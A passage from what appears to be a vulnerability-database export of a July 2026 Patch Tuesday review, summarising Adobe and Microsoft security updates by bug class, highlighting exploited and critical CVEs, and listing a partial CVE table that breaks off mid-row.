explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:45.125383Z"}, {"uuid": "aadd9aeb-fff3-4eaf-90bc-23b544dda02c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54126", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  